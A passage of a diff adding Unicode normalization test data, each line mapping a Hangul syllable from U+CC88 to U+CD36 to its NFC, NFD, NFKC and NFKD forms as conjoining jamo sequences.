+{ source: [0xCC88], NFC: [0xCC88], NFD: [0x110E, 0x1164, 0x11B3], NFKC: [0xCC88], NFKD: [0x110E, 0x1164, 0x11B3] },
+{ source: [0xCC89], NFC: [0xCC89], NFD: [0x110E, 0x1164, 0x11B4], NFKC: [0xCC89], NFKD: [0x110E, 0x1164, 0x11B4] },
+{ source: [0xCC8A], NFC: [0xCC8A], NFD: [0x110E, 0x1164, 0x11B5], NFKC: [0xCC8A], NFKD: [0x110E, 0x1164, 0x11B5] },
+{ source: [0xCC8B], NFC: [0xCC8B], NFD: [0x110E, 0x1164, 0x11B6], NFKC: [0xCC8B], NFKD: [0x110E, 0x1164, 0x11B6] },
+{ source: [0xCC8C], NFC: [0xCC8C], NFD: [0x110E, 0x1164, 0x11B7], NFKC: [0xCC8C], NFKD: [0x110E, 0x1164, 0x11B7] },
+{ source: [0xCC8D], NFC: [0xCC8D], NFD: [0x110E, 0x1164, 0x11B8], NFKC: [0xCC8D], NFKD: [0x110E, 0x1164, 0x11B8] },
+{ source: [0xCC8E], NFC: [0xCC8E], NFD: [0x110E, 0x1164, 0x11B9], NFKC: [0xCC8E], NFKD: [0x110E, 0x1164, 0x11B9] },
+{ source: [0xCC8F], NFC: [0xCC8F], NFD: [0x110E, 0x1164, 0x11BA], NFKC: [0xCC8F], NFKD: [0x110E, 0x1164, 0x11BA] },
+{ source: [0xCC90], NFC: [0xCC90], NFD: [0x110E, 0x1164, 0x11BB], NFKC: [0xCC90], NFKD: [0x110E, 0x1164, 0x11BB] },
+{ source: [0xCC91], NFC: [0xCC91], NFD: [0x110E, 0x1164, 0x11BC], NFKC: [0xCC91], NFKD: [0x110E, 0x1164, 0x11BC] },
+{ source: [0xCC92], NFC: [0xCC92], NFD: [0x110E, 0x1164, 0x11BD], NFKC: [0xCC92], NFKD: [0x110E, 0x1164, 0x11BD] },
+{ source: [0xCC93], NFC: [0xCC93], NFD: [0x110E, 0x1164, 0x11BE], NFKC: [0xCC93], NFKD: [0x110E, 0x1164, 0x11BE] },
+{ source: [0xCC94], NFC: [0xCC94], NFD: [0x110E, 0x1164, 0x11BF], NFKC: [0xCC94], NFKD: [0x110E, 0x1164, 0x11BF] },
+{ source: [0xCC95], NFC: [0xCC95], NFD: [0x110E, 0x1164, 0x11C0], NFKC: [0xCC95], NFKD: [0x110E, 0x1164, 0x11C0] },
+{ source: [0xCC96], NFC: [0xCC96], NFD: [0x110E, 0x1164, 0x11C1], NFKC: [0xCC96], NFKD: [0x110E, 0x1164, 0x11C1] },
+{ source: [0xCC97], NFC: [0xCC97], NFD: [0x110E, 0x1164, 0x11C2], NFKC: [0xCC97], NFKD: [0x110E, 0x1164, 0x11C2] },
+{ source: [0xCC98], NFC: [0xCC98], NFD: [0x110E, 0x1165], NFKC: [0xCC98], NFKD: [0x110E, 0x1165] },
+{ source: [0xCC99], NFC: [0xCC99], NFD: [0x110E, 0x1165, 0x11A8], NFKC: [0xCC99], NFKD: [0x110E, 0x1165, 0x11A8] },
+{ source: [0xCC9A], NFC: [0xCC9A], NFD: [0x110E, 0x1165, 0x11A9], NFKC: [0xCC9A], NFKD: [0x110E, 0x1165, 0x11A9] },
+{ source: [0xCC9B], NFC: [0xCC9B], NFD: [0x110E, 0x1165, 0x11AA], NFKC: [0xCC9B], NFKD: [0x110E, 0x1165, 0x11AA] },
+{ source: [0xCC9C], NFC: [0xCC9C], NFD: [0x110E, 0x1165, 0x11AB], NFKC: [0xCC9C], NFKD: [0x110E, 0x1165, 0x11AB] },
+{ source: [0xCC9D], NFC: [0xCC9D], NFD: [0x110E, 0x1165, 0x11AC], NFKC: [0xCC9D], NFKD: [0x110E, 0x1165, 0x11AC] },
+{ source: [0xCC9E], NFC: [0xCC9E], NFD: [0x110E, 0x1165, 0x11AD], NFKC: [0xCC9E], NFKD: [0x110E, 0x1165, 0x11AD] },
+{ source: [0xCC9F], NFC: [0xCC9F], NFD: [0x110E, 0x1165, 0x11AE], NFKC: [0xCC9F], NFKD: [0x110E, 0x1165, 0x11AE] },
+{ source: [0xCCA0], NFC: [0xCCA0], NFD: [0x110E, 0x1165, 0x11AF], NFKC: [0xCCA0], NFKD: [0x110E, 0x1165, 0x11AF] },
+{ source: [0xCCA1], NFC: [0xCCA1], NFD: [0x110E, 0x1165, 0x11B0], NFKC: [0xCCA1], NFKD: [0x110E, 0x1165, 0x11B0] },
+{ source: [0xCCA2], NFC: [0xCCA2], NFD: [0x110E, 0x1165, 0x11B1], NFKC: [0xCCA2], NFKD: [0x110E, 0x1165, 0x11B1] },
+{ source: [0xCCA3], NFC: [0xCCA3], NFD: [0x110E, 0x1165, 0x11B2], NFKC: [0xCCA3], NFKD: [0x110E, 0x1165, 0x11B2] },
+{ source: [0xCCA4], NFC: [0xCCA4], NFD: [0x110E, 0x1165, 0x11B3], NFKC: [0xCCA4], NFKD: [0x110E, 0x1165, 0x11B3] },
+{ source: [0xCCA5], NFC: [0xCCA5], NFD: [0x110E, 0x1165, 0x11B4], NFKC: [0xCCA5], NFKD: [0x110E, 0x1165, 0x11B4] },
+{ source: [0xCCA6], NFC: [0xCCA6], NFD: [0x110E, 0x1165, 0x11B5], NFKC: [0xCCA6], NFKD: [0x110E, 0x1165, 0x11B5] },
+{ source: [0xCCA7], NFC: [0xCCA7], NFD: [0x110E, 0x1165, 0x11B6], NFKC: [0xCCA7], NFKD: [0x110E, 0x1165, 0x11B6] },
+{ source: [0xCCA8], NFC: [0xCCA8], NFD: [0x110E, 0x1165, 0x11B7], NFKC: [0xCCA8], NFKD: [0x110E, 0x1165, 0x11B7] },
+{ source: [0xCCA9], NFC: [0xCCA9], NFD: [0x110E, 0x1165, 0x11B8], NFKC: [0xCCA9], NFKD: [0x110E, 0x1165, 0x11B8] },
+{ source: [0xCCAA], NFC: [0xCCAA], NFD: [0x110E, 0x1165, 0x11B9], NFKC: [0xCCAA], NFKD: [0x110E, 0x1165, 0x11B9] },
+{ source: [0xCCAB], NFC: [0xCCAB], NFD: [0x110E, 0x1165, 0x11BA], NFKC: [0xCCAB], NFKD: [0x110E, 0x1165, 0x11BA] },
+{ source: [0xCCAC], NFC: [0xCCAC], NFD: [0x110E, 0x1165, 0x11BB], NFKC: [0xCCAC], NFKD: [0x110E, 0x1165, 0x11BB] },
+{ source: [0xCCAD], NFC: [0xCCAD], NFD: [0x110E, 0x1165, 0x11BC], NFKC: [0xCCAD], NFKD: [0x110E, 0x1165, 0x11BC] },
+{ source: [0xCCAE], NFC: [0xCCAE], NFD: [0x110E, 0x1165, 0x11BD], NFKC: [0xCCAE], NFKD: [0x110E, 0x1165, 0x11BD] },
+{ source: [0xCCAF], NFC: [0xCCAF], NFD: [0x110E, 0x1165, 0x11BE], NFKC: [0xCCAF], NFKD: [0x110E, 0x1165, 0x11BE] },
+{ source: [0xCCB0], NFC: [0xCCB0], NFD: [0x110E, 0x1165, 0x11BF], NFKC: [0xCCB0], NFKD: [0x110E, 0x1165, 0x11BF] },
+{ source: [0xCCB1], NFC: [0xCCB1], NFD: [0x110E, 0x1165, 0x11C0], NFKC: [0xCCB1], NFKD: [0x110E, 0x1165, 0x11C0] },
+{ source: [0xCCB2], NFC: [0xCCB2], NFD: [0x110E, 0x1165, 0x11C1], NFKC: [0xCCB2], NFKD: [0x110E, 0x1165, 0x11C1] },
+{ source: [0xCCB3], NFC: [0xCCB3], NFD: [0x110E, 0x1165, 0x11C2], NFKC: [0xCCB3], NFKD: [0x110E, 0x1165, 0x11C2] },
+{ source: [0xCCB4], NFC: [0xCCB4], NFD: [0x110E, 0x1166], NFKC: [0xCCB4], NFKD: [0x110E, 0x1166] },
+{ source: [0xCCB5], NFC: [0xCCB5], NFD: [0x110E, 0x1166, 0x11A8], NFKC: [0xCCB5], NFKD: [0x110E, 0x1166, 0x11A8] },
+{ source: [0xCCB6], NFC: [0xCCB6], NFD: [0x110E, 0x1166, 0x11A9], NFKC: [0xCCB6], NFKD: [0x110E, 0x1166, 0x11A9] },
+{ source: [0xCCB7], NFC: [0xCCB7], NFD: [0x110E, 0x1166, 0x11AA], NFKC: [0xCCB7], NFKD: [0x110E, 0x1166, 0x11AA] },
+{ source: [0xCCB8], NFC: [0xCCB8], NFD: [0x110E, 0x1166, 0x11AB], NFKC: [0xCCB8], NFKD: [0x110E, 0x1166, 0x11AB] },
+{ source: [0xCCB9], NFC: [0xCCB9], NFD: [0x110E, 0x1166, 0x11AC], NFKC: [0xCCB9], NFKD: [0x110E, 0x1166, 0x11AC] },
+{ source: [0xCCBA], NFC: [0xCCBA], NFD: [0x110E, 0x1166, 0x11AD], NFKC: [0xCCBA], NFKD: [0x110E, 0x1166, 0x11AD] },
+{ source: [0xCCBB], NFC: [0xCCBB], NFD: [0x110E, 0x1166, 0x11AE], NFKC: [0xCCBB], NFKD: [0x110E, 0x1166, 0x11AE] },
+{ source: [0xCCBC], NFC: [0xCCBC], NFD: [0x110E, 0x1166, 0x11AF], NFKC: [0xCCBC], NFKD: [0x110E, 0x1166, 0x11AF] },
+{ source: [0xCCBD], NFC: [0xCCBD], NFD: [0x110E, 0x1166, 0x11B0], NFKC: [0xCCBD], NFKD: [0x110E, 0x1166, 0x11B0] },
+{ source: [0xCCBE], NFC: [0xCCBE], NFD: [0x110E, 0x1166, 0x11B1], NFKC: [0xCCBE], NFKD: [0x110E, 0x1166, 0x11B1] },
+{ source: [0xCCBF], NFC: [0xCCBF], NFD: [0x110E, 0x1166, 0x11B2], NFKC: [0xCCBF], NFKD: [0x110E, 0x1166, 0x11B2] },
+{ source: [0xCCC0], NFC: [0xCCC0], NFD: [0x110E, 0x1166, 0x11B3], NFKC: [0xCCC0], NFKD: [0x110E, 0x1166, 0x11B3] },
+{ source: [0xCCC1], NFC: [0xCCC1], NFD: [0x110E, 0x1166, 0x11B4], NFKC: [0xCCC1], NFKD: [0x110E, 0x1166, 0x11B4] },
+{ source: [0xCCC2], NFC: [0xCCC2], NFD: [0x110E, 0x1166, 0x11B5], NFKC: [0xCCC2], NFKD: [0x110E, 0x1166, 0x11B5] },
+{ source: [0xCCC3], NFC: [0xCCC3], NFD: [0x110E, 0x1166, 0x11B6], NFKC: [0xCCC3], NFKD: [0x110E, 0x1166, 0x11B6] },
+{ source: [0xCCC4], NFC: [0xCCC4], NFD: [0x110E, 0x1166, 0x11B7], NFKC: [0xCCC4], NFKD: [0x110E, 0x1166, 0x11B7] },
+{ source: [0xCCC5], NFC: [0xCCC5], NFD: [0x110E, 0x1166, 0x11B8], NFKC: [0xCCC5], NFKD: [0x110E, 0x1166, 0x11B8] },
+{ source: [0xCCC6], NFC: [0xCCC6], NFD: [0x110E, 0x1166, 0x11B9], NFKC: [0xCCC6], NFKD: [0x110E, 0x1166, 0x11B9] },
+{ source: [0xCCC7], NFC: [0xCCC7], NFD: [0x110E, 0x1166, 0x11BA], NFKC: [0xCCC7], NFKD: [0x110E, 0x1166, 0x11BA] },
+{ source: [0xCCC8], NFC: [0xCCC8], NFD: [0x110E, 0x1166, 0x11BB], NFKC: [0xCCC8], NFKD: [0x110E, 0x1166, 0x11BB] },
+{ source: [0xCCC9], NFC: [0xCCC9], NFD: [0x110E, 0x1166, 0x11BC], NFKC: [0xCCC9], NFKD: [0x110E, 0x1166, 0x11BC] },
+{ source: [0xCCCA], NFC: [0xCCCA], NFD: [0x110E, 0x1166, 0x11BD], NFKC: [0xCCCA], NFKD: [0x110E, 0x1166, 0x11BD] },
+{ source: [0xCCCB], NFC: [0xCCCB], NFD: [0x110E, 0x1166, 0x11BE], NFKC: [0xCCCB], NFKD: [0x110E, 0x1166, 0x11BE] },
+{ source: [0xCCCC], NFC: [0xCCCC], NFD: [0x110E, 0x1166, 0x11BF], NFKC: [0xCCCC], NFKD: [0x110E, 0x1166, 0x11BF] },
+{ source: [0xCCCD], NFC: [0xCCCD], NFD: [0x110E, 0x1166, 0x11C0], NFKC: [0xCCCD], NFKD: [0x110E, 0x1166, 0x11C0] },
+{ source: [0xCCCE], NFC: [0xCCCE], NFD: [0x110E, 0x1166, 0x11C1], NFKC: [0xCCCE], NFKD: [0x110E, 0x1166, 0x11C1] },
+{ source: [0xCCCF], NFC: [0xCCCF], NFD: [0x110E, 0x1166, 0x11C2], NFKC: [0xCCCF], NFKD: [0x110E, 0x1166, 0x11C2] },
+{ source: [0xCCD0], NFC: [0xCCD0], NFD: [0x110E, 0x1167], NFKC: [0xCCD0], NFKD: [0x110E, 0x1167] },
+{ source: [0xCCD1], NFC: [0xCCD1], NFD: [0x110E, 0x1167, 0x11A8], NFKC: [0xCCD1], NFKD: [0x110E, 0x1167, 0x11A8] },
+{ source: [0xCCD2], NFC: [0xCCD2], NFD: [0x110E, 0x1167, 0x11A9], NFKC: [0xCCD2], NFKD: [0x110E, 0x1167, 0x11A9] },
+{ source: [0xCCD3], NFC: [0xCCD3], NFD: [0x110E, 0x1167, 0x11AA], NFKC: [0xCCD3], NFKD: [0x110E, 0x1167, 0x11AA] },
+{ source: [0xCCD4], NFC: [0xCCD4], NFD: [0x110E, 0x1167, 0x11AB], NFKC: [0xCCD4], NFKD: [0x110E, 0x1167, 0x11AB] },
+{ source: [0xCCD5], NFC: [0xCCD5], NFD: [0x110E, 0x1167, 0x11AC], NFKC: [0xCCD5], NFKD: [0x110E, 0x1167, 0x11AC] },
+{ source: [0xCCD6], NFC: [0xCCD6], NFD: [0x110E, 0x1167, 0x11AD], NFKC: [0xCCD6], NFKD: [0x110E, 0x1167, 0x11AD] },
+{ source: [0xCCD7], NFC: [0xCCD7], NFD: [0x110E, 0x1167, 0x11AE], NFKC: [0xCCD7], NFKD: [0x110E, 0x1167, 0x11AE] },
+{ source: [0xCCD8], NFC: [0xCCD8], NFD: [0x110E, 0x1167, 0x11AF], NFKC: [0xCCD8], NFKD: [0x110E, 0x1167, 0x11AF] },
+{ source: [0xCCD9], NFC: [0xCCD9], NFD: [0x110E, 0x1167, 0x11B0], NFKC: [0xCCD9], NFKD: [0x110E, 0x1167, 0x11B0] },
+{ source: [0xCCDA], NFC: [0xCCDA], NFD: [0x110E, 0x1167, 0x11B1], NFKC: [0xCCDA], NFKD: [0x110E, 0x1167, 0x11B1] },
+{ source: [0xCCDB], NFC: [0xCCDB], NFD: [0x110E, 0x1167, 0x11B2], NFKC: [0xCCDB], NFKD: [0x110E, 0x1167, 0x11B2] },
+{ source: [0xCCDC], NFC: [0xCCDC], NFD: [0x110E, 0x1167, 0x11B3], NFKC: [0xCCDC], NFKD: [0x110E, 0x1167, 0x11B3] },
+{ source: [0xCCDD], NFC: [0xCCDD], NFD: [0x110E, 0x1167, 0x11B4], NFKC: [0xCCDD], NFKD: [0x110E, 0x1167, 0x11B4] },
+{ source: [0xCCDE], NFC: [0xCCDE], NFD: [0x110E, 0x1167, 0x11B5], NFKC: [0xCCDE], NFKD: [0x110E, 0x1167, 0x11B5] },
+{ source: [0xCCDF], NFC: [0xCCDF], NFD: [0x110E, 0x1167, 0x11B6], NFKC: [0xCCDF], NFKD: [0x110E, 0x1167, 0x11B6] },
+{ source: [0xCCE0], NFC: [0xCCE0], NFD: [0x110E, 0x1167, 0x11B7], NFKC: [0xCCE0], NFKD: [0x110E, 0x1167, 0x11B7] },
+{ source: [0xCCE1], NFC: [0xCCE1], NFD: [0x110E, 0x1167, 0x11B8], NFKC: [0xCCE1], NFKD: [0x110E, 0x1167, 0x11B8] },
+{ source: [0xCCE2], NFC: [0xCCE2], NFD: [0x110E, 0x1167, 0x11B9], NFKC: [0xCCE2], NFKD: [0x110E, 0x1167, 0x11B9] },
+{ source: [0xCCE3], NFC: [0xCCE3], NFD: [0x110E, 0x1167, 0x11BA], NFKC: [0xCCE3], NFKD: [0x110E, 0x1167, 0x11BA] },
+{ source: [0xCCE4], NFC: [0xCCE4], NFD: [0x110E, 0x1167, 0x11BB], NFKC: [0xCCE4], NFKD: [0x110E, 0x1167, 0x11BB] },
+{ source: [0xCCE5], NFC: [0xCCE5], NFD: [0x110E, 0x1167, 0x11BC], NFKC: [0xCCE5], NFKD: [0x110E, 0x1167, 0x11BC] },
+{ source: [0xCCE6], NFC: [0xCCE6], NFD: [0x110E, 0x1167, 0x11BD], NFKC: [0xCCE6], NFKD: [0x110E, 0x1167, 0x11BD] },
+{ source: [0xCCE7], NFC: [0xCCE7], NFD: [0x110E, 0x1167, 0x11BE], NFKC: [0xCCE7], NFKD: [0x110E, 0x1167, 0x11BE] },
+{ source: [0xCCE8], NFC: [0xCCE8], NFD: [0x110E, 0x1167, 0x11BF], NFKC: [0xCCE8], NFKD: [0x110E, 0x1167, 0x11BF] },
+{ source: [0xCCE9], NFC: [0xCCE9], NFD: [0x110E, 0x1167, 0x11C0], NFKC: [0xCCE9], NFKD: [0x110E, 0x1167, 0x11C0] },
+{ source: [0xCCEA], NFC: [0xCCEA], NFD: [0x110E, 0x1167, 0x11C1], NFKC: [0xCCEA], NFKD: [0x110E, 0x1167, 0x11C1] },
+{ source: [0xCCEB], NFC: [0xCCEB], NFD: [0x110E, 0x1167, 0x11C2], NFKC: [0xCCEB], NFKD: [0x110E, 0x1167, 0x11C2] },
+{ source: [0xCCEC], NFC: [0xCCEC], NFD: [0x110E, 0x1168], NFKC: [0xCCEC], NFKD: [0x110E, 0x1168] },
+{ source: [0xCCED], NFC: [0xCCED], NFD: [0x110E, 0x1168, 0x11A8], NFKC: [0xCCED], NFKD: [0x110E, 0x1168, 0x11A8] },
+{ source: [0xCCEE], NFC: [0xCCEE], NFD: [0x110E, 0x1168, 0x11A9], NFKC: [0xCCEE], NFKD: [0x110E, 0x1168, 0x11A9] },
+{ source: [0xCCEF], NFC: [0xCCEF], NFD: [0x110E, 0x1168, 0x11AA], NFKC: [0xCCEF], NFKD: [0x110E, 0x1168, 0x11AA] },
+{ source: [0xCCF0], NFC: [0xCCF0], NFD: [0x110E, 0x1168, 0x11AB], NFKC: [0xCCF0], NFKD: [0x110E, 0x1168, 0x11AB] },
+{ source: [0xCCF1], NFC: [0xCCF1], NFD: [0x110E, 0x1168, 0x11AC], NFKC: [0xCCF1], NFKD: [0x110E, 0x1168, 0x11AC] },
+{ source: [0xCCF2], NFC: [0xCCF2], NFD: [0x110E, 0x1168, 0x11AD], NFKC: [0xCCF2], NFKD: [0x110E, 0x1168, 0x11AD] },
+{ source: [0xCCF3], NFC: [0xCCF3], NFD: [0x110E, 0x1168, 0x11AE], NFKC: [0xCCF3], NFKD: [0x110E, 0x1168, 0x11AE] },
+{ source: [0xCCF4], NFC: [0xCCF4], NFD: [0x110E, 0x1168, 0x11AF], NFKC: [0xCCF4], NFKD: [0x110E, 0x1168, 0x11AF] },
+{ source: [0xCCF5], NFC: [0xCCF5], NFD: [0x110E, 0x1168, 0x11B0], NFKC: [0xCCF5], NFKD: [0x110E, 0x1168, 0x11B0] },
+{ source: [0xCCF6], NFC: [0xCCF6], NFD: [0x110E, 0x1168, 0x11B1], NFKC: [0xCCF6], NFKD: [0x110E, 0x1168, 0x11B1] },
+{ source: [0xCCF7], NFC: [0xCCF7], NFD: [0x110E, 0x1168, 0x11B2], NFKC: [0xCCF7], NFKD: [0x110E, 0x1168, 0x11B2] },
+{ source: [0xCCF8], NFC: [0xCCF8], NFD: [0x110E, 0x1168, 0x11B3], NFKC: [0xCCF8], NFKD: [0x110E, 0x1168, 0x11B3] },
+{ source: [0xCCF9], NFC: [0xCCF9], NFD: [0x110E, 0x1168, 0x11B4], NFKC: [0xCCF9], NFKD: [0x110E, 0x1168, 0x11B4] },
+{ source: [0xCCFA], NFC: [0xCCFA], NFD: [0x110E, 0x1168, 0x11B5], NFKC: [0xCCFA], NFKD: [0x110E, 0x1168, 0x11B5] },
+{ source: [0xCCFB], NFC: [0xCCFB], NFD: [0x110E, 0x1168, 0x11B6], NFKC: [0xCCFB], NFKD: [0x110E, 0x1168, 0x11B6] },
+{ source: [0xCCFC], NFC: [0xCCFC], NFD: [0x110E, 0x1168, 0x11B7], NFKC: [0xCCFC], NFKD: [0x110E, 0x1168, 0x11B7] },
+{ source: [0xCCFD], NFC: [0xCCFD], NFD: [0x110E, 0x1168, 0x11B8], NFKC: [0xCCFD], NFKD: [0x110E, 0x1168, 0x11B8] },
+{ source: [0xCCFE], NFC: [0xCCFE], NFD: [0x110E, 0x1168, 0x11B9], NFKC: [0xCCFE], NFKD: [0x110E, 0x1168, 0x11B9] },
+{ source: [0xCCFF], NFC: [0xCCFF], NFD: [0x110E, 0x1168, 0x11BA], NFKC: [0xCCFF], NFKD: [0x110E, 0x1168, 0x11BA] },
+{ source: [0xCD00], NFC: [0xCD00], NFD: [0x110E, 0x1168, 0x11BB], NFKC: [0xCD00], NFKD: [0x110E, 0x1168, 0x11BB] },
+{ source: [0xCD01], NFC: [0xCD01], NFD: [0x110E, 0x1168, 0x11BC], NFKC: [0xCD01], NFKD: [0x110E, 0x1168, 0x11BC] },
+{ source: [0xCD02], NFC: [0xCD02], NFD: [0x110E, 0x1168, 0x11BD], NFKC: [0xCD02], NFKD: [0x110E, 0x1168, 0x11BD] },
+{ source: [0xCD03], NFC: [0xCD03], NFD: [0x110E, 0x1168, 0x11BE], NFKC: [0xCD03], NFKD: [0x110E, 0x1168, 0x11BE] },
+{ source: [0xCD04], NFC: [0xCD04], NFD: [0x110E, 0x1168, 0x11BF], NFKC: [0xCD04], NFKD: [0x110E, 0x1168, 0x11BF] },
+{ source: [0xCD05], NFC: [0xCD05], NFD: [0x110E, 0x1168, 0x11C0], NFKC: [0xCD05], NFKD: [0x110E, 0x1168, 0x11C0] },
+{ source: [0xCD06], NFC: [0xCD06], NFD: [0x110E, 0x1168, 0x11C1], NFKC: [0xCD06], NFKD: [0x110E, 0x1168, 0x11C1] },
+{ source: [0xCD07], NFC: [0xCD07], NFD: [0x110E, 0x1168, 0x11C2], NFKC: [0xCD07], NFKD: [0x110E, 0x1168, 0x11C2] },
+{ source: [0xCD08], NFC: [0xCD08], NFD: [0x110E, 0x1169], NFKC: [0xCD08], NFKD: [0x110E, 0x1169] },
+{ source: [0xCD09], NFC: [0xCD09], NFD: [0x110E, 0x1169, 0x11A8], NFKC: [0xCD09], NFKD: [0x110E, 0x1169, 0x11A8] },
+{ source: [0xCD0A], NFC: [0xCD0A], NFD: [0x110E, 0x1169, 0x11A9], NFKC: [0xCD0A], NFKD: [0x110E, 0x1169, 0x11A9] },
+{ source: [0xCD0B], NFC: [0xCD0B], NFD: [0x110E, 0x1169, 0x11AA], NFKC: [0xCD0B], NFKD: [0x110E, 0x1169, 0x11AA] },
+{ source: [0xCD0C], NFC: [0xCD0C], NFD: [0x110E, 0x1169, 0x11AB], NFKC: [0xCD0C], NFKD: [0x110E, 0x1169, 0x11AB] },
+{ source: [0xCD0D], NFC: [0xCD0D], NFD: [0x110E, 0x1169, 0x11AC], NFKC: [0xCD0D], NFKD: [0x110E, 0x1169, 0x11AC] },
+{ source: [0xCD0E], NFC: [0xCD0E], NFD: [0x110E, 0x1169, 0x11AD], NFKC: [0xCD0E], NFKD: [0x110E, 0x1169, 0x11AD] },
+{ source: [0xCD0F], NFC: [0xCD0F], NFD: [0x110E, 0x1169, 0x11AE], NFKC: [0xCD0F], NFKD: [0x110E, 0x1169, 0x11AE] },
+{ source: [0xCD10], NFC: [0xCD10], NFD: [0x110E, 0x1169, 0x11AF], NFKC: [0xCD10], NFKD: [0x110E, 0x1169, 0x11AF] },
+{ source: [0xCD11], NFC: [0xCD11], NFD: [0x110E, 0x1169, 0x11B0], NFKC: [0xCD11], NFKD: [0x110E, 0x1169, 0x11B0] },
+{ source: [0xCD12], NFC: [0xCD12], NFD: [0x110E, 0x1169, 0x11B1], NFKC: [0xCD12], NFKD: [0x110E, 0x1169, 0x11B1] },
+{ source: [0xCD13], NFC: [0xCD13], NFD: [0x110E, 0x1169, 0x11B2], NFKC: [0xCD13], NFKD: [0x110E, 0x1169, 0x11B2] },
+{ source: [0xCD14], NFC: [0xCD14], NFD: [0x110E, 0x1169, 0x11B3], NFKC: [0xCD14], NFKD: [0x110E, 0x1169, 0x11B3] },
+{ source: [0xCD15], NFC: [0xCD15], NFD: [0x110E, 0x1169, 0x11B4], NFKC: [0xCD15], NFKD: [0x110E, 0x1169, 0x11B4] },
+{ source: [0xCD16], NFC: [0xCD16], NFD: [0x110E, 0x1169, 0x11B5], NFKC: [0xCD16], NFKD: [0x110E, 0x1169, 0x11B5] },
+{ source: [0xCD17], NFC: [0xCD17], NFD: [0x110E, 0x1169, 0x11B6], NFKC: [0xCD17], NFKD: [0x110E, 0x1169, 0x11B6] },
+{ source: [0xCD18], NFC: [0xCD18], NFD: [0x110E, 0x1169, 0x11B7], NFKC: [0xCD18], NFKD: [0x110E, 0x1169, 0x11B7] },
+{ source: [0xCD19], NFC: [0xCD19], NFD: [0x110E, 0x1169, 0x11B8], NFKC: [0xCD19], NFKD: [0x110E, 0x1169, 0x11B8] },
+{ source: [0xCD1A], NFC: [0xCD1A], NFD: [0x110E, 0x1169, 0x11B9], NFKC: [0xCD1A], NFKD: [0x110E, 0x1169, 0x11B9] },
+{ source: [0xCD1B], NFC: [0xCD1B], NFD: [0x110E, 0x1169, 0x11BA], NFKC: [0xCD1B], NFKD: [0x110E, 0x1169, 0x11BA] },
+{ source: [0xCD1C], NFC: [0xCD1C], NFD: [0x110E, 0x1169, 0x11BB], NFKC: [0xCD1C], NFKD: [0x110E, 0x1169, 0x11BB] },
+{ source: [0xCD1D], NFC: [0xCD1D], NFD: [0x110E, 0x1169, 0x11BC], NFKC: [0xCD1D], NFKD: [0x110E, 0x1169, 0x11BC] },
+{ source: [0xCD1E], NFC: [0xCD1E], NFD: [0x110E, 0x1169, 0x11BD], NFKC: [0xCD1E], NFKD: [0x110E, 0x1169, 0x11BD] },
+{ source: [0xCD1F], NFC: [0xCD1F], NFD: [0x110E, 0x1169, 0x11BE], NFKC: [0xCD1F], NFKD: [0x110E, 0x1169, 0x11BE] },
+{ source: [0xCD20], NFC: [0xCD20], NFD: [0x110E, 0x1169, 0x11BF], NFKC: [0xCD20], NFKD: [0x110E, 0x1169, 0x11BF] },
+{ source: [0xCD21], NFC: [0xCD21], NFD: [0x110E, 0x1169, 0x11C0], NFKC: [0xCD21], NFKD: [0x110E, 0x1169, 0x11C0] },
+{ source: [0xCD22], NFC: [0xCD22], NFD: [0x110E, 0x1169, 0x11C1], NFKC: [0xCD22], NFKD: [0x110E, 0x1169, 0x11C1] },
+{ source: [0xCD23], NFC: [0xCD23], NFD: [0x110E, 0x1169, 0x11C2], NFKC: [0xCD23], NFKD: [0x110E, 0x1169, 0x11C2] },
+{ source: [0xCD24], NFC: [0xCD24], NFD: [0x110E, 0x116A], NFKC: [0xCD24], NFKD: [0x110E, 0x116A] },
+{ source: [0xCD25], NFC: [0xCD25], NFD: [0x110E, 0x116A, 0x11A8], NFKC: [0xCD25], NFKD: [0x110E, 0x116A, 0x11A8] },
+{ source: [0xCD26], NFC: [0xCD26], NFD: [0x110E, 0x116A, 0x11A9], NFKC: [0xCD26], NFKD: [0x110E, 0x116A, 0x11A9] },
+{ source: [0xCD27], NFC: [0xCD27], NFD: [0x110E, 0x116A, 0x11AA], NFKC: [0xCD27], NFKD: [0x110E, 0x116A, 0x11AA] },
+{ source: [0xCD28], NFC: [0xCD28], NFD: [0x110E, 0x116A, 0x11AB], NFKC: [0xCD28], NFKD: [0x110E, 0x116A, 0x11AB] },
+{ source: [0xCD29], NFC: [0xCD29], NFD: [0x110E, 0x116A, 0x11AC], NFKC: [0xCD29], NFKD: [0x110E, 0x116A, 0x11AC] },
+{ source: [0xCD2A], NFC: [0xCD2A], NFD: [0x110E, 0x116A, 0x11AD], NFKC: [0xCD2A], NFKD: [0x110E, 0x116A, 0x11AD] },
+{ source: [0xCD2B], NFC: [0xCD2B], NFD: [0x110E, 0x116A, 0x11AE], NFKC: [0xCD2B], NFKD: [0x110E, 0x116A, 0x11AE] },
+{ source: [0xCD2C], NFC: [0xCD2C], NFD: [0x110E, 0x116A, 0x11AF], NFKC: [0xCD2C], NFKD: [0x110E, 0x116A, 0x11AF] },
+{ source: [0xCD2D], NFC: [0xCD2D], NFD: [0x110E, 0x116A, 0x11B0], NFKC: [0xCD2D], NFKD: [0x110E, 0x116A, 0x11B0] },
+{ source: [0xCD2E], NFC: [0xCD2E], NFD: [0x110E, 0x116A, 0x11B1], NFKC: [0xCD2E], NFKD: [0x110E, 0x116A, 0x11B1] },
+{ source: [0xCD2F], NFC: [0xCD2F], NFD: [0x110E, 0x116A, 0x11B2], NFKC: [0xCD2F], NFKD: [0x110E, 0x116A, 0x11B2] },
+{ source: [0xCD30], NFC: [0xCD30], NFD: [0x110E, 0x116A, 0x11B3], NFKC: [0xCD30], NFKD: [0x110E, 0x116A, 0x11B3] },
+{ source: [0xCD31], NFC: [0xCD31], NFD: [0x110E, 0x116A, 0x11B4], NFKC: [0xCD31], NFKD: [0x110E, 0x116A, 0x11B4] },
+{ source: [0xCD32], NFC: [0xCD32], NFD: [0x110E, 0x116A, 0x11B5], NFKC: [0xCD32], NFKD: [0x110E, 0x116A, 0x11B5] },
+{ source: [0xCD33], NFC: [0xCD33], NFD: [0x110E, 0x116A, 0x11B6], NFKC: [0xCD33], NFKD: [0x110E, 0x116A, 0x11B6] },
+{ source: [0xCD34], NFC: [0xCD34], NFD: [0x110E, 0x116A, 0x11B7], NFKC: [0xCD34], NFKD: [0x110E, 0x116A, 0x11B7] },
+{ source: [0xCD35], NFC: [0xCD35], NFD: [0x110E, 0x116A, 0x11B8], NFKC: [0xCD35], NFKD: [0x110E, 0x116A, 0x11B8] },
+{ source: [0xCD36], NFC: [0xCD36], NFD: [0x110E, 0x116A, 0x11B9], NFKC: [0xCD36], NFKD: [0x110E, 0x116A, 0x11B9] },
